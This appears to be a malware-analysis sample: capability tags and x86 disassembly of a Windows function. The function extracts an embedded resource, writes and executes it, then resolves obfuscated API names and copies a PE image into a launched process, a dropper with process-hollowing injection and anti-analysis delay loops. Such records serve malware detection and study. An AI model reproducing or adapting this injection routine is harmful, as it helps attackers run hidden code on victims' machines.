Function at 0x401000
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x4055f1], eax
call fcn.0040150b
push 0x40526a
call sub.kernel32.dll_GetModuleHandleA
or eax, eax
jne 0x40111e
push 0x139
push 3
push 0
call sub.kernel32.dll_FindResourceA
mov dword [0x4055ae], eax
push eax
push 0
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x4055b6], eax
push dword [0x4055ae]
push 0
call sub.kernel32.dll_SizeofResource
mov dword [0x405515], eax
push 0x4057ee
push 0x404584
call sub.kernel32.dll_lstrcpyA
push 0x4044ab
push 0x404584
call sub.kernel32.dll_lstrcatA
push 0x4046de
push 0x404584
call sub.kernel32.dll_lstrcatA
push 0x4046e0
push 0x404584
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push 0x404584
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x4010e6
mov dword [0x40550d], eax
push 0
push 0x4055ae
push dword [0x405515]
push dword [0x4055b6]
push dword [0x40550d]
call sub.kernel32.dll_WriteFile
push dword [0x40550d]
call sub.kernel32.dll_CloseHandle
push 0x404809
push 0x4041a0
call sub.kernel32.dll_lstrcpyA
push 0x404584
push 0x4041a0
call sub.kernel32.dll_lstrcatA
push 5
push 0
push 0x4041a0
push 0x404826
push 0x4047f1
push 0
call sub.shell32.dll_ShellExecuteA
call 0x401134
push dword [0x4056b2]
call sub.kernel32.dll_CloseHandle
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffccc
cmp dword [0x40401f], 1
jne 0x401151
push 1
push 0
push 0
call sub.urlmon.dll_CoInternetCompareUrl
push 0x4048e9
push 0x405955
call fcn.00402367
push 0x405955
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x330], eax
cmp dword [0x40401f], 0x1b8
jne 0x40118b
push str.ZHFL
push str.XOQMGGTWGVAHK
call sub.shlwapi.dll_StrStrA
push 0x4048e9
push 0x40596d
call fcn.00402367
push 0x40596d
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x334], eax
mov esi, 0xf4240
jmp 0x4011b9
push 0
call sub.kernel32.dll_Sleep
dec esi
cmp esi, 0
ja 0x4011b1
push 0x180
push 8
push 0
call sub.kernel32.dll_FindResourceA
mov dword [0x4055ae], eax
push eax
push 0
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [0x4055b6], eax
cmp dword [0x40401f], 1
jne 0x4011f2
call sub.kernel32.dll_GetTickCount
push 0x104
push 0x405ce9
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x44
lea eax, [ebp - 0x60]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x4048e9
push 0x405cc1
call fcn.00402367
push 0x4048bf
push 0x405cc1
call fcn.00402367
lea eax, [ebp - 0x60]
push eax
push 0x405cc1
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
push 0x4048e9
push 0x405985
call fcn.00402367
push 0x4048bf
push 0x405985
call fcn.00402367
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x405ce9
push 0
push 0x405985
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
push 0x2cc
lea eax, [ebp - 0x32c]
push eax
call sub.kernel32.dll_RtlZeroMemory
mov dword [ebp - 0x32c], 0x10002
push 0x4048e9
push 0x4059b1
call fcn.00402367
push 0x4048bf
push 0x4059b1
call fcn.00402367
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x18]
push 0x4059b1
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
mov ebx, dword [ebp - 0x288]
add ebx, 8
push 0x4048e9
push 0x405a58
call fcn.00402367
push 0x4048bf
push 0x405a58
call fcn.00402367
push 0
push 4
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp - 0x1c]
push 0x405a58
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
push 0x4048e9
push 0x405c0b
call fcn.00402367
push 0x4048bf
push 0x405c0b
call fcn.00402367
push dword [ebp - 4]
push dword [ebp - 0x1c]
push 0x405c0b
push dword [ebp - 0x334]
call sub.kernel32.dll_GetProcAddress
call eax
mov edi, dword [0x4055b6]
add edi, dword [edi + 0x3c]
push 0x4048e9
push 0x405c37
call fcn.00402367
push 0x4048bf
push 0x405c37
call fcn.00402367
push 4
mov eax, 0x1000
or eax, 0x2000
push eax
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x1c]
push 0x405c37
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
mov dword [ebp - 8], eax
push 0x4048e9
push 0x405bb3
call fcn.00402367
push 0x4048bf
push 0x405bb3
call fcn.00402367
push 0
push dword [edi + 0x54]
push dword [0x4055b6]
push dword [ebp - 8]
push dword [ebp - 0x1c]
push 0x405bb3
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
lea eax, [edi + 0x18]
mov dword [ebp - 0xc], eax
movzx eax, word [edi + 0x14]
add dword [ebp - 0xc], eax
xor eax, eax
xor esi, esi
xor ecx, ecx
jmp 0x401437
imul eax, esi, 0x28
add eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
add ebx, dword [eax + 0xc]
mov edx, dword [0x4055b6]
add edx, dword [eax + 0x14]
push 0
push dword [eax + 0x10]
push edx
push ebx
push dword [ebp - 0x1c]
push 0x405bb3
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
inc esi
cmp si, word [edi + 6]
jb 0x401405
mov ebx, dword [ebp - 0x288]
add ebx, 8
push 0
push 4
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x1c]
push 0x405bb3
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
xor eax, eax
mov eax, dword [ebp - 8]
add eax, dword [edi + 0x28]
mov dword [ebp - 0x27c], eax
cmp dword [0x40401f], 3
jne 0x401486
push 1
push 0
push 0
call sub.urlmon.dll_CoInternetCompareUrl
push 0x4048e9
push 0x405a14
call fcn.00402367
push 0x4048bf
push 0x405a14
call fcn.00402367
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x18]
push 0x405a14
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
push 0x4048e9
push 0x405bdf
call fcn.00402367
push 0x4048bf
push 0x405bdf
call fcn.00402367
push dword [ebp - 0x18]
push 0x405bdf
push dword [ebp - 0x330]
call sub.kernel32.dll_GetProcAddress
call eax
push dword [ebp - 0x330]
call sub.kernel32.dll_FreeLibrary
push dword [ebp - 0x334]
call sub.kernel32.dll_FreeLibrary
leave
ret